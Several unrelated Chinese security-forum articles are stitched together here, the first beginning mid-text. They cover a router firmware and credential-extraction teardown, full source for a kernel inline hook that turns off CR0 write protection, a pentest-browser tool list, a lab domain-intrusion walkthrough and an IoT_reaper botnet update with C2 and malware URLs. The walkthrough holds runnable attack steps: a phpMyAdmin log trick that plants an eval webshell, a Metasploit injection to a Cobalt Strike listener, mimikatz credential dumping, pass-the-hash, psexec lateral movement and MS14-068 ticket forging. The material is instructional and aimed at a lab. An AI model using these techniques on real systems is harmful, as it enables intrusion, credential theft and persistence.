在启动的一系列信息中，我们可以得到flash段的压缩算法等，如图三所示，采用的是LZMA压缩，用的是Mips Linux内核。
图三
内核压缩算法信息 当我们想着提取闪存数据时，在本路由器中，Intel的外部闪存结构就非常重要了，如图四、图五、图六所示。
图四 内存映射图
图五
Flash芯片名称与完整的内存映射表
图六 文件系统压缩格式
### 三、 ATP 以及BusyBox
本路由器中的Ralink
IC通过运行一个Linux内核实现对内存的管理、并行处理以及对整个系统的控制，Ralink芯片的产品说明上显示使用的是Linux2.6.21内核，而ATP
CLI是运行在Linux之上或者是作为Linux内核的一部分，它仅提供了第一层的系统认证，其他功能很有限，如下所示：
ATP>help
Welcome to ATP command line tool.
If any question, please input "?" at the end of command.
ATP>?
cls
debug
help
save
?
exit
ATP>
上面的帮助并没有提到shell或者sh的命令，通常是直接运行shell或者sh就可以得到。仅提供了少于10个命令，而更多功能的实现是依靠busybox来完成的。
Busybox是一个集合了多个通用unix命令的工具包，非常方便，从ls到cd以及top等，有了busybox，让我们使用Ralink
IC像使用Linux一样。
如下所示是本路由器中的busybox支持的命令:
ATP>shell
BusyBox vv1.9.1 (2013-08-29 11:15:00 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls
var usr tmp sbin proc mnt lib init etc dev bin
#
# ls /bin
zebra swapdev printserver ln ebtables cat
wpsd startbsp pppc klog dns busybox
wlancmd sntp ping kill dms brctl
web smbpasswd ntfs-3g iwpriv dhcps atserver
usbserver smbd nmbd iwconfig dhcpc atmcmd
usbmount sleep netstat iptables ddnsc atcmd
upnp siproxd mount ipp date at
upg sh mldproxy ipcheck cwmp ash
umount scanner mknod ip cp adslcmd
tr111 rm mkdir igmpproxy console acl
tr064 ripd mii_mgr hw_nat cms ac
telnetd reg mic ethcmd cli
tc radvdump ls equipcmd chown
switch ps log echo chmod
#
仅仅分析上面的是不够的，敏感的数据不会存放在busybox 中的。
### 四、 探索文件系统
现在我们已经登录在系统中，而且知道哪些命令是可以使用的，本节中仅仅是为了得到对整个系统的概述，没有详细的分析每一小片的数据。
其中top命令是可以帮助我们得出进程消耗资源的情况，由于当前路由器是出于空闲状态，top命令并没有返回太多的有用信息。如图七所示。
图七
top命令返回结果 从上面的进程列表中看到有一个usbmount进程，由此可见，路由器支持usb接口，当插入一个flash u盘，显示出如下的信息：
usb 1-1: new high speed USB device using rt3xxx-ehci and address 2
[...]
++++++sambacms.c 2374 renice=renice -n +10 -p 1423
U盘被识别，并且被挂载到/mnt/usb1_1/，同时一个samba服务器就启动了，这些文件的目录在/etc/samba下：
# ls -l /etc/samba/
-rw-r--r-- 1 0 0 103 smbpasswd
-rw-r--r-- 1 0 0 0 smbusers
-rw-r--r-- 1 0 0 480 smb.conf
-rw------- 1 0 0 8192 secrets.tdb
# cat /etc/samba/smbpasswd
nobody:0:XXXXXXXXXXXXXXXXXXX:564E923F5AF30J373F7C8_______4D2A:[U ]:LCT-1ED36884:
当然，还有其他的命令:
Netstat –a :设备的通信端口信息
Iptables –list:设置网络，进而可以telnet访问，此处我们仍然保持裸机状态。
Wlancmd help:丰富的wifi无线控制功能
/etc/profile
/etc/inetd
/etc/services
/var/:系统运行过程中使用的文件
/etc/:系统配置文件
其中/var/和/etc/目录下会包含大量的有用信息，很多都是很明显的，如/etc/serverkey.pem。如图八所示。
图八
/etc/serverkey.pem文件内容
在嵌入式设备中找到TLS通信的私钥是很正常的，通过攻击一个设备获取私钥，进而可以对其他相同型号的设备展开攻击。
这个私钥一方面用于与华为或ISP服务器通信，但是，更多的是用来获取公开证书，进而与远程服务器通信。在这里，我们找到了两个证书，都来自于“同一个人”的签名。
/etc/servercert.pem: 最有可能是服务器密钥 /etc/root.pem: 很有可能用于与华为或者ISP服务器通信(不确定。。。)
更多的敏感数据是在/etc/ppp256/config和/etc/ppp258/config文件中，如图九所示。
这些身份认证信息对于HTTP 接口也是有效的，这也是我在此处提出来的原因。当然对于其他的很多路由器设备不一定有效。
分析如此多的不同文件，如果没有好的工具将会是非常耗费时间的，所以，我们将会尽可能的复制这些数据到u盘中，进而在电脑上进行分析。
图九
config文件内容
### 五、 信息收集
当收集了文件之后，我们可以使用find . –name *.pem查找是否还有其他的TLS证书。
运行`grep -i –r password`，查找所有文件中的password字段，得到如图十所示。
图十
password在所有文件中的信息
这里有很多的证书信息，主要是为STUN，TR-069和本地服务提供。此处展示出来是因为这些信息都是通过http传输的，但通常是隐藏的。这些证书要不以明文要不以base64编码后保存，当然编码是不能保护数据的。如图十一所示的是当前wifi密码的base64值。
$ echo "QUJCNFVCTU4=" | base64 -D
ABB4UBMN
图十一
当前wifi密码
在分析上述密码的过程中，得到了2个比较重要的文件。
/var/curcfg.xml: 当前配置文件，包括base64后的wifi密码等
/etc/defaultcfg.xml: 默认配置文件，用于恢复出厂设置，但不包括路由器的wifi密码，主要是因为第一次使用的时候需要配置密码信息。
### 六、 探索ATP的CLI
由于ATP的CLI包含了非常少的命令，其中重要的命令之一是debug。debug display
将会显示igmpproxy、cwmp、sysuptime或者atpversion的使用，大部分都没有什么用，不知道cwmp是不是与路由器的远程配置有关，如图十二所示。
图十二
cwmp的命令信息
再次，这些CWMP(TR-069)证书是用于远程路由器配置的凭据，这次甚至没有编码，明文的保存在里面。
其他的ATP命令功能很有限，如清屏、帮助，保存到flash中或退出等。
### 七、 探索Uboot的CLI
Bootloader的命令行接口提供了访问部分内存区域，但是，它没有提供直接访问flash芯片功能，如下所示：
Please choose operation:
3: Boot system code via Flash (default).
4: Entr boot command line interface.
You choosed 4
Stopped Uboot WatchDog Timer.
4: System Enter Boot Command Line Interface.
U-Boot 1.1.3 (Aug 29 2013 - 11:16:19)
RT3352 # help
? - alias for 'help'
bootm - boot application image from memory
cp - memory copy
erase - erase SPI FLASH memory
go - start application at address 'addr'
help - print online help
md - memory display
mdio - Ralink PHY register R/W command !!
mm - memory modify (auto-incrementing)
mw - memory write (fill)
nm - memory modify (constant address)
printenv- print environment variables
reset - Perform RESET of the CPU
rf - read/write rf register
saveenv - save environment variables to persistent storage
setenv - set environment variables
uip - uip command
version - print monitor version
RT3352 #
不要轻易的去使用erase、mm、mw或者nm命令，除非真的需要使用这些命令，错误的使用将会重启设备，然后设备变砖。此时，内存显示md和printenv引起了我的注意。
RT3352 # printenv
bootcmd=tftp
bootdelay=2
baudrate=57600
ethaddr="00:AA:BB:CC:DD:10"
ipaddr=192.168.1.1
serverip=192.168.1.2
ramargs=setenv bootargs root=/dev/ram rw
addip=setenv bootargs $(bootargs) ip=$(ipaddr):$(serverip):$(gatewayip):$(netmask):$(hostname):$(netdev):off
addmisc=setenv bootargs $(bootargs) console=ttyS0,$(baudrate) ethaddr=$(ethaddr) panic=1
flash_self=run ramargs addip addmisc;bootm $(kernel_addr) $(ramdisk_addr)
kernel_addr=BFC40000
u-boot=u-boot.bin
load=tftp 8A100000 $(u-boot)
u_b=protect off 1:0-1;era 1:0-1;cp.b 8A100000 BC400000 $(filesize)
loadfs=tftp 8A100000 root.cramfs
u_fs=era bc540000 bc83ffff;cp.b 8A100000 BC540000 $(filesize)
test_tftp=tftp 8A100000 root.cramfs;run test_tftp
stdin=serial
stdout=serial
stderr=serial
ethact=Eth0 (10/100-M)
Environment size: 765/4092 bytes
我们可以看到类似设置UART串口波特率，以及一些有意思的内存位置。这些内存地址不是flash
IC地址空间的，flash的地址空间是0x00000000—0x00FFFFFF。
让我们利用md看看其中的部分内存，如kernel_addr=0xBFC40000，如图十三所示。
图十三
BFC40000内存数据
其中的badd信息表示此处为无效地址，当用md访问无效的内存地址时，将会返回硬编码的badd提示内存地址无效。这些地址是好的地址，但是在u-boot阶段是不可访问的。
需要注意的是，通过启动uboot命令行接口将会导致路由器停止加载Linux内核到内存中，所以对内存的访问将是非常有限的子集。其中有效的地址空间如图十四所示。
图十四
有限的可访问内存空间数据举例
这种方法查找内存非常受限，仅能够查看有限区域的数据，但是可以用这种方法来分析内存的存储结构，如在0x000d0000位置的内存内容明显变化，如图十五所示。
图十五
0x000d0000位置的内存明显变化
最后附上实验的视频教程： http://static.video.qq.com/TPout.swf?vid=w01991tmnia&auto=0
* * * | 社区文章 |
# 前言
Inline hook是直接在以前的函数里面修改指令，用一个跳转或者其他指令来达到挂钩的目的。
这是相对普通的hook来说，因为普通的hook只是修改函数的调用地址，而不是在原来的函数体里面做修改。一般来说，普通的hook比较稳定使用。 inline
hook 更加高级一点，一般也跟难以被发现。ring3的Inline hook在之前已经实现过了，再看看ring0的Inline hook该如何实现。
# 探究及实现
这里本来调用链应该是`OpenFile -> ZwOpenFile`，这里在od里面应该可以看到，这里我就用windbg直接找到这个ring0函数。
首先在windbg里面定位到`ZwOpenFile`函数，可以看到它的偏移为`0x74`
通过SSDT表找到所有的内核函数地址，再通过`0x74`偏移定位到`ZwOpenFile`函数
kd> dd KeServiceDescriptorTable
kd> dd 80505450 + 74 * 4
kd> u 8057b182
我这里因为windbg的原因没有显示函数名称，到pchunter里面确认一下，地址确实是一样的
那么我们要实现Inline hook，无论是使用E8 call，还是E9
jmp，都需要至少5个硬编码才能实现，所以这里我们找5个硬编码进行填入我们代码的操作，这里注意不能够找全局变量和重定位的地址，否则在进行还原的过程中可能地址已经发生改变导致程序不能够正常运行
mov ebp,esp
xor eax,eax
push eax
首先我们写一个`FilterNtOpenFile`函数用来打印我们Inline
hook后的一些信息，这里用到`PsGetCurrentProcess`获取进程的EPROCESS结构，在0x174偏移存放着进程名，我们通过打印进程名来查看一下哪些进程调用了`NtOpenFile`这个函数
char* p = "r0 InlineHook";
void FilterNtOpenFile(char* p)
{
KdPrint(("%s\r\n", p));
KdPrint(("name:%s\r\n", (char*)PsGetCurrentProcess() + 0x174));
}
然后提供`ServiceDescriptorEntry`这个结构体并定义`KeServiceDescriptorTable`为 `ntoskrnl.exe`
所导出的全局变量
typedef struct ServiceDescriptorEntry {
unsigned int* ServiceTableBase;
unsigned int* ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char* ParamTableBase;
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
这里我们再利用汇编来执行我们的汇编代码之后再jmp到原覆盖地址+5的地方，先用`pushad`跟`pushfd`保存寄存器
void _declspec(naked) NewNtOpenFile()
{
__asm
{
pushad
pushfd
push p
call FilterNtOpenFile
popfd
popad
mov ebp, esp
xor eax, eax
push eax
jmp ReAddress
}
}
首先定义一个数组，用来存放E9jmp跳转的代码
UCHAR jmp_code[5] = "";
然后因为我们在8057b185这个地址开始覆盖，函数的起始地址为8057b182，所以偏移为3
ULONG ChangeAddr = 3;
然后通过`KeServiceDescriptorTable`的`ServiceTableBase`属性定位到`NtOpenFile`的起始地址，这里在`PCHunter`里面可以看到`NtOpenFile`的索引号为116
StartAddr = KeServiceDescriptorTable.ServiceTableBase[116];
定义返回地址，用函数的开始地址+偏移+5即可得到返回地址
ReAddress = StartAddr + ChangeAddr + 5;
通过E9 jmp的计算公式还需要计算我们自己定义的函数`newNtOpenKey`相对于`NtOpenFile`的偏移量
ULONG jmpAddr = (ULONG)NewNtOpenFile - StartAddr - ChangeAddr - 5;
将跳转代码写入数组
jmp_code[0] = 0xE9;
*(ULONG*)&jmp_code[1] = jmpAddr;
这里就需要写入内存了，这里需要关闭页的只读保护，定义一个`ShutPageProtect`函数将CR0寄存器的WP位置0
//关闭页只读保护
__asm
{
push eax;
mov eax, cr0;
and eax, ~0x10000; // 与0x10000想与后取反
mov cr0, eax;
pop eax;
ret;
}
关闭页保护之后首先将之前的硬编码保存，再进行覆盖
ShutPageProtect();
RtlCopyMemory(Old_code, (PVOID)(StartAddr + ChangeAddr), 5);
RtlCopyMemory((PVOID)(StartAddr + ChangeAddr), jmp_code, 5);
写入内存完毕之后再定义一个`OpenPageProtect`函数将CR0寄存器的WP恢复为1
void _declspec(naked) OpenPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
or eax, 0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
那么到这里我们的hook代码就已经完成，因为我们已经将原来的硬编码存入了`Old_code`这个数组，这里我们编写`UnHookNtOpenFile`时利用`RtlCopyMemory`写会到原内存即可
void UnHookNtOpenFile()
{
ULONG ChangeAddr = 3;
ShutPageProtect();
RtlCopyMemory((PVOID)(StartAddr + ChangeAddr), Old_code, 5);
OpenPageProtect();
}
再就是加载驱动和卸载驱动，在加载驱动中调用`HookNtOpenFile`，在卸载驱动中调用`UnHookNtOpenFile`即可
//卸载驱动
void DriverUnload(DRIVER_OBJECT* obj)
{
//卸载钩子
UnHookNtOpenFile();
KdPrint(("驱动卸载成功！\n"));
}
/***驱动入口主函数***/
NTSTATUS DriverEntry(DRIVER_OBJECT* driver, UNICODE_STRING* path)
{
KdPrint(("驱动启动成功！\n"));
//安装钩子
HookNtOpenFile();
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
完整代码如下
#include <ntddk.h>
typedef struct ServiceDescriptorEntry {
unsigned int* ServiceTableBase;
unsigned int* ServiceCounterTableBase;
unsigned int NumberOfServices;
unsigned char* ParamTableBase;
} ServiceDescriptorTableEntry_t, * PServiceDescriptorTableEntry_t;
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
// 关闭页只读保护
void ShutPageProtect();
// 开启页只读保护
void OpenPageProtect();
// 测试函数
void FilterNtOpenFile(char* p);
// 新NtOpenFile
void NewNtOpenFile();
// hook NtOpenFile
void HookNtOpenFile();
// unhook NtOpenFile
void UnHookNtOpenFile();
//关闭页只读保护
void _declspec(naked) ShutPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
and eax, ~0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
//开启页只读保护
void _declspec(naked) OpenPageProtect()
{
__asm
{
push eax;
mov eax, cr0;
or eax, 0x10000;
mov cr0, eax;
pop eax;
ret;
}
}
ULONG StartAddr;
ULONG ReAddress;
UCHAR Old_code[5];
char* p = "r0 InlineHook";
void FilterNtOpenFile(char* p)
{
KdPrint(("%s\r\n", p));
KdPrint(("name:%s\r\n", (char*)PsGetCurrentProcess() + 0x174));
}
void _declspec(naked) NewNtOpenFile()
{
__asm
{
pushad
pushfd
push p
call FilterNtOpenFile
popfd
popad
mov ebp, esp
xor eax, eax
push eax
jmp ReAddress
}
}
void HookNtOpenFile()
{
// 存放跳转指令的数组
UCHAR jmp_code[5] = "";
// 在入口0x3处hook
ULONG ChangeAddr = 3;
// NtOpenFile函数的开始地址
StartAddr = KeServiceDescriptorTable.ServiceTableBase[116];
// 返回地址
ReAddress = StartAddr + ChangeAddr + 5;
// newNtOpenKey相对于NtOpenKey的偏移量
ULONG jmpAddr = (ULONG)NewNtOpenFile - StartAddr - ChangeAddr - 5;
// 使用jmp指令跳转，jmp = 0xE9
jmp_code[0] = 0xE9;
// 填入偏移地址
*(ULONG*)&jmp_code[1] = jmpAddr;
ShutPageProtect();
RtlCopyMemory(Old_code, (PVOID)(StartAddr + ChangeAddr), 5);
RtlCopyMemory((PVOID)(StartAddr + ChangeAddr), jmp_code, 5);
OpenPageProtect();
}
void UnHookNtOpenFile()
{
ULONG ChangeAddr = 3;
ShutPageProtect();
RtlCopyMemory((PVOID)(StartAddr + ChangeAddr), Old_code, 5);
OpenPageProtect();
}
//卸载驱动
void DriverUnload(DRIVER_OBJECT* obj)
{
//卸载钩子
UnHookNtOpenFile();
KdPrint(("驱动卸载成功！\n"));
}
/***驱动入口主函数***/
NTSTATUS DriverEntry(DRIVER_OBJECT* driver, UNICODE_STRING* path)
{
KdPrint(("驱动启动成功！\n"));
//安装钩子
HookNtOpenFile();
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
实现效果如下
欢迎关注公众号 **红队蓝军** | 社区文章 |
github项目地址：<https://github.com/QBurst/PenQ>
**这玩意能干啥？**
描述：PenQ是一款基于Mozilla
Firefox开发的基于Linux的渗透测试浏览器软件包。它预先配置了安全工具，用于进行spidering，高级Web搜索，指纹识别，匿名浏览，Web服务器扫描，模糊，报告生成等等。PenQ不仅仅是插件的组合，而是配置了一些非常强大的开源java
/ python和命令行工具，包括Nikto，Wfuzz，OWASP Zap，OWASP Webslayer，OWASP WebScarab，Tor等等。
效果图
## List of Tools and Utilities
OWASP ZAP
OWASP WebScarab
OWASP WebSlayer
Nikto Web Server Scanner
Wfuzz Web Application Fuzzer
Integrated Tor
OWASP Penetration Testing Checklist
PenTesting Report Generator
Vulnerability Databases Search
Access to Shell and Other System Utilities
Collection of Useful Links
Mozilla Add-ons Collection
## List of Mozilla Add-ons
anonymoX
Awesome Screenshot
ChatZilla
CipherFox
Clear Console
Cookies Manager+
Cookie Monster
CryptoFox
Email Extractor
Firebug
FireFlow
FireFTP
FireSSH
Greasemonkey
Groundspeed
HackBar
HackSearch
Header Spy
HttpFox
HttpRequester
Java Deobfuscator
Library Detector
LinkSidebar
Proxy Selector
Proxy Tool
RefControl
RESTClient
Session Manager
SQL Inject Me
SQLite Manager
TrashMail.net
User Agent Switcher
Wappalyzer
Web Developer
Xinha Here!
XSS Me
## Supported Platforms
Debian and Ubuntu Based Distros | 社区文章 |
# 内网渗透实战技巧
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文章是关于内网方面渗透技巧的一个文章，用的环境是VulnStack1，VulnStack是红日安全团队出的一个内网渗透的靶机环境，感谢红日团队，地址：<http://vulnstack.qiyuanxuetang.net/vuln/detail/2/>
主要以该环境讲解内网渗透的技术。
**拓扑图如下：**
**·** Web服务器(Windows7)：192.168.10.14 、192.168.52.143 主机名：stu1
**·** 域成员主机(Windows Server 2003)：192.168.52.141 主机名：root-tvi862ubeh
**·** 域控(Windows Server 2008)：192.168.52.138 主机名：owa
其中，Web服务器的192.168.10.14模拟公网地址，我们可以直接访问192.168.10.14。但是我们访问不了192.168.52.0网段。
## 拿下Web服务器
本文主要是讲内网渗透方面，所以关于怎么拿下Web服务器，比较粗略的过。
说下我们对Web服务器的思路吧。在红蓝对抗中，拿到了入口站点，我们首先会想办法获取入口点的shell，再以此挂隧道通内网。而拿shell无非是上传木马、SQL注入、反序列化。而在很多网站的登录后台后，会存在文件上传漏洞，进而getshell。
访问Web服务器地址 [http://192.168.10.14/yxcms/](http://192.168.20.10/yxcms/)
，是一个yxcms的站点。关于yxcms的漏洞，传送门：[代码审计| yxcms app 1.4.6
漏洞集合](https://www.freebuf.com/column/162886.html)
对于yxcms我也不熟悉，之前没接触过。拿到目标第一先用御剑扫描下后台吧
发现phpmyadmin后台登录地址：[http://192.168.10.14/phpmyadmin/](http://192.168.20.10/phpmyadmin/)
发现一个压缩包文件，该文件是网站的压缩包文件：[http://192.168.10.14/beifen.rar](http://192.168.20.10/beifen.rar)
发现phpinfo文件：[http://192.168.10.14/phpinfo.php](http://192.168.20.10/phpinfo.php)
发现一些比较敏感的目录，这些目录都存在目录遍历漏洞
* [http://192.168.10.14/yxcms/robots.txt](http://192.168.20.10/yxcms/robots.txt)
* [http://192.168.10.14/yxcms/data/](http://192.168.20.10/yxcms/data/)
* [http://192.168.10.14/yxcms/public/](http://192.168.20.10/yxcms/public/)
* [http://192.168.10.14/yxcms/upload/](http://192.168.20.10/yxcms/upload/)
* [http://192.168.10.14/yxcms/protected/](http://192.168.20.10/yxcms/protected/)
### phpmyadmin后台getshell
对phpmyadmin后台进行爆破，得到账号密码：root/root
进入phpmyadmin后台后，获取shell。传送门：[phpmyadmin爆破和后台getshell](https://blog.csdn.net/qq_36119192/article/details/103461736)
这里由于 secure_file_priv的值为NULL，所以我们不能利用写into outfile写木马getshell。
这里我们利用日志文件Getshell。传送门：[phpmyadmin利用日志文件Getshell](https://blog.csdn.net/qq_36119192/article/details/103461736#%E5%88%A9%E7%94%A8%E6%97%A5%E5%BF%97%E6%96%87%E4%BB%B6Getshell)
执行以下命令
set global general_log=on; #开启日志
set global general_log_file='C:/phpstudy/www/yxcms/hack.php'; #设置指定文件为网站日志存放文件
SELECT '<?php eval($_POST["cmd"]);?>' #执行该语句，会将该命令写入日志文件中点击并拖拽以移动
最后用菜刀连接，如下。
##
## 后渗透第一步
在拿到了Web服务器的权限后，我们就要尽可能多的搜集该服务器的信息，然后搭建隧道通往内网！
执行以下命令我们知道当前的用户身份是 administrator ，在管理员组中，并且处在域 god
中。该主机有两张网卡，分别是：192.168.10.14，192.168.52.143。由此可知，其实获得的这个权限就是域管理员权限。(搞不懂环境为啥要以域管理员账号登录，为啥不以本地普通用户登录？？)
现在我们想反弹一个MSF的shell。将MSF生成的木马上传到该主机上，执行，反弹成功！
###
### 派生CobaltStrike权限
首先在CobaltStrike上开启一个监听
然后在MSF中执行以下操作，我们的CobaltStrike就接收到反弹过来的shell了。
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true #默认情况下，payload_inject执行之后会在本地产生一个新的handler，由于我们已经有了一个，所以不需要在产生一个，所以这里我们设置为true
set lhost xxxx #cobaltstrike监听的ip
set lport 14444 #cobaltstrike监听的端口
set session 1 #这里是获得的session的id
exploit
### 获得System权限
这里由于获得的直接是adminsitrator权限，所以可以直接提到system。在真实环境中，这里很多时候都是一个普通用户权限，需要我们去提权。
###
### 获取账号密码
**1：导出hash**
run hashdump
**2：导出hash**
run windows/gather/smart_hashdump
**3：加载 kiwi模块**
这里尝试加载kiwi模块，获取不到账号密码
load kiwi
creds_all
**4：加载 mimikatz 模块**
再尝试加载 mimikatz
模块，加载模块前需要先将meterpreter迁移到64位的进程，而且该进程也需要是system权限运行的。如图，成功获得账号密码：administrator/hongrisec@2019
migrate PID
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords
###
### 远程桌面登录
这里我们已经获得了administrator的账号和密码，现在我们既可以使用administrator账号登录，也可以新建账号登录(hack/Password@)。(不建议直接用administrator身份登录，因为这样有可能会惊动管理员)
通过nmap扫描发现该主机的3389端口呈过滤状态，由此猜想可能是防火墙将该端口过滤了
于是执行以下命令开启3389端口
run post/windows/manage/enable_rdp
再次探测发现3389端口已是open状态
尝试3389远程登录该主机，但是弹出如果我们继续登录，则会断开该主机的当前连接。为了不惊动管理员，这里我们不继续连接了。
###
### 添加路由、挂Socks4a代理
传送门：[MSF搭建socks代理](https://xie1997.blog.csdn.net/article/details/105872076)
· 添加路由的目的是为了让我们的MSF其他模块能访问内网的其他主机
· 添加socks4a代理的目的是为了让其他软件更方便的访问到内网的其他主机的服务
注：添加路由一定要在挂代理之前，因为代理需要用到路由功能
#添加路由
route add 0.0.0.0 0.0.0.0 1
run print
#添加socks4a代理
use auxiliary/server/socks4a
run
#然后打开/etc/proxychains.conf，加入下面一行
socks4 0.0.0.0 1080
#然后就可以使用nmap了
proxychains nmap -p 21 -Pn -sT x.x.x.x #在打开其他程序前加上proxychains
我们也可以在本机设置socks4代理，指向我们vps的1080端口。那么，我们本地的流量就会交给VPS的1080端口，而1080端口是MSF起的，MSF又添加了到内网的路由，自然我们就可以访问到内网的主机。
这里我实测用MSF挂的socks4a代理并不稳定，建议实战环境用 FRP 起的 socks5
代理，这里我为了省事直接用MSF的socks代理。其实新版的MSF也有了socks5代理，不过好像也不是很好用。
###
### 域信息收集
net time /domain #查看时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
从域信息收集可以得到以下信息：
· 域：god.org
· 域内有三个用户：administrator、ligang、liukaifeng01
· 域内有三台主机：DEV1(不在此环境中)、ROOT-TVI862UBEH(192.168.52.141)、STU1(192.168.52.143)
· 域控：OWA(192.168.52.138)
· 域管理员：administrator
由此可见，我们现在获得的即是域管理员权限。此环境内还有一台ROOT-TVI862UBEH(192.168.52.141)和域控OWA(192.168.52.138)。
## 内网主机信息收集
我们现在想进行内网横向渗透，就需要收集更多的信息，内网渗透信息收集是非常重要的一步。
由于我们之前添加了路由信息并且挂了Socks4a代理，所以我们现在可以使用MSF里面的探测模块以及nmap对内网进行探测。
### 内网存活主机探测
这一步在域环境渗透中可以省略，因为使用域命令可以直接查询域中有哪些主机。在非域环境中渗透，可以使用这一步。在这里顺带提一下这个用法。更多的关于使用MSF进行内网探测，传送门：[后渗透阶段之基于MSF的内网主机探测](https://blog.csdn.net/qq_36119192/article/details/92556219)
auxiliary/scanner/discovery/udp_sweep #基于udp协议发现内网存活主机
auxiliary/scanner/discovery/udp_probe #基于udp协议发现内网存活主机
auxiliary/scanner/netbios/nbname #基于netbios协议发现内网存活主机
###
### 内网存活主机端口扫描
**1：使用MSF自带模块进行端口探测**
auxiliary/scanner/portscan/tcp #基于tcp进行端口扫描(默认扫描1-10000)
**2：使用 proxychains 代理链利用 nmap 对内网主机进行端口探测**
###
### 内网存活主机服务探测
auxiliary/scanner/ftp/ftp_version #发现内网ftp服务，基于默认21端口
auxiliary/scanner/ssh/ssh_version #发现内网ssh服务，基于默认22端口
auxiliary/scanner/telnet/telnet_version #发现内网telnet服务，基于默认23端口
auxiliary/scanner/dns/dns_amp #发现dns服务，基于默认53端口
auxiliary/scanner/http/http_version #发现内网http服务，基于默认80端口
auxiliary/scanner/http/title #探测内网http服务的标题
auxiliary/scanner/smb/smb_version #发现内网smb服务，基于默认的445端口
auxiliary/scanner/mssql/mssql_schemadump #发现内网SQLServer服务,基于默认的1433端口
auxiliary/scanner/oracle/oracle_hashdump #发现内网oracle服务,基于默认的1521端口
auxiliary/scanner/mysql/mysql_version #发现内网mysql服务，基于默认3306端口
auxiliary/scanner/rdp/rdp_scanner #发现内网RDP服务，基于默认3389端口
auxiliary/scanner/redis/redis_server #发现内网Redis服务，基于默认6379端口
auxiliary/scanner/db2/db2_version #探测内网的db2服务，基于默认的50000端口
auxiliary/scanner/netbios/nbname #探测内网主机的netbios名字
经过了以上几步，我们就可以大致判断内网存活的主机、主机开放的端口以及服务这些基本信息了。
## 内网横向渗透攻击技巧
在对内网主机进行信息收集后，接下来我们就是要对内网主机发动攻击了。内网攻击方法有下面这些。
### MS17-010
永恒之蓝在内网渗透中是屡试不爽的，基本上一打一大片。但是MS17-010在实际红蓝对抗渗透中(通过代理打内网)并不好利用，MSF中自带的模块要打很多次才能成功一次，而且MSF自带的模块打sever2003的机器很容器蓝屏。注意这里的payload必须设置为正向连接
bind_tcp。
如下，第一次打就没打成功。
###
###
### CVE-2019-0708
该漏洞是今年爆出的一个windows
RDP协议的漏洞，但是测了一下，发现该主机不存在该漏洞。另外，该漏洞成功率也不高，而且极有可能把目标机打成蓝屏的结果。所以在真实红蓝对抗中不建议使用该漏洞，除非有百分百的把握能打成功。
###
###
### psexec攻击
我们已经获得了域管理员 god/administrator 的账号密码，我们现在可以使用该域管理员账号密码利用 psexec
登录域内任何一台开启了admin$共享(该共享默认开启) 的主机。
注：由于提示需要修改密码，所以已将 god/administrator 的密码改为 Password@ 。
psexec.exe \\192.168.52.138 -u god\administrator -p Password@ cmd
但是在连接 Server2003服务器 的时候出了点小问题，提示服务没有及时响应启动或控制请求。
###
### 哈希传递攻击
在域环境内，只有获得了域管理员的哈希才可以攻击。这里假设我们得到了域管理员administrator的哈希，但是没有得到明文密码。在这里我们就可以用哈希传递攻击了。
在前面获得了域管理员 administrator 的NTLM哈希为：c456c606a647ef44b646c44a227917a4
sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:c456c606a647ef44b646c44a227917a4
###
### MS14-068
MS14-068漏洞适用于当我们获得了普通域用户的哈希，域控存在MS14-068漏洞的场景。我们现在想利用获得了普通域用户哈希去访问域控。
但是这里我们是直接获得了域管理员的哈希，这里只是演示下MS14-068漏洞的攻击手法
先获取需要利用的域用户的SID值
#生成票据[email protected]
MS14-068.exe -u [email protected] -p Password@ -s S-1-5-21-2952760202-1353902439-2381784089-500 -d 192.168.52.138 #MS14-068.exe -u 域用户@dog.org -p 域用户密码 -s 域用户的SID -d 域控ip
#在mimikatz中导入票据
kerberos::ptc [email protected]的路径
然后再打开一个cmd窗口尝试访问域控
dir \\192.168.52.138\c$
如果你想和我一起讨论的话，那就加入我的知识星球吧！ | 社区文章 |
# 【僵尸网络】IoT_reaper 情况更新（25日最近更新）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**传送门**
****
[**【僵尸网络】IoT_reaper : 一个正在快速扩张的新
IoT僵尸网络**](http://bobao.360.cn/learning/detail/4582.html)
**前言**
****
在周五晚上披露了 **IoT_reaper** 之后，我们收到了来自安全社区和各方很多问题。这里给出一个快速的更新，以澄清各方可能的疑问。
**IoT_reaper样本投递历史情况**
****
我们通过蜜罐观察到的 **IoT_reaper** 样本历史投递情况如下：
可以看出，IoT_reaper 最主要传播的恶意代码位于下面这个URL上：
下载地址： **hxxp://162.211.183.192/sa**
投递者：119.82.26.157
起止时间：10-04～10-17
样本md5：7 个,详细见文末IoC
这个URL上的样本之间内聚关系比较强，我们称为S簇。
后来进一步的分析，认为S簇还包括其他一些样本；而在S簇之外，还有一个LUA簇，以及其他更小一些的未知簇。
**S簇的样本构成**
****
我们认为S簇包含下面这些URL上的样本：
hxxp://162.211.183.192/sa
hxxp://162.211.183.192/sa5
hxxp://162.211.183.192/sm
hxxp://162.211.183.192/sml
簇内的命名策略可能是这样的，头部的s代表S簇：
sa: arm
sa5：arm5
sm：mips
sml：mips 小端
S簇的C2 布局、感染机制和数字疑问
如上图：
**loader** : 负责通过漏洞植入恶意代码
**downloader** : 提供恶意代码下载
**reporter** : 接收bot扫描到的易感染设备信息
**controller** : 控制bot、发送控制指令
我们猜测，在reporter 和 loader 之间有一个队列，reporter会将收集到的易感染设备信息推入队列，等待loader处理
与 S 簇感染相关的有一组不同的数字，近日来容易引起安全社区的混淆。我们看到的数字如下：
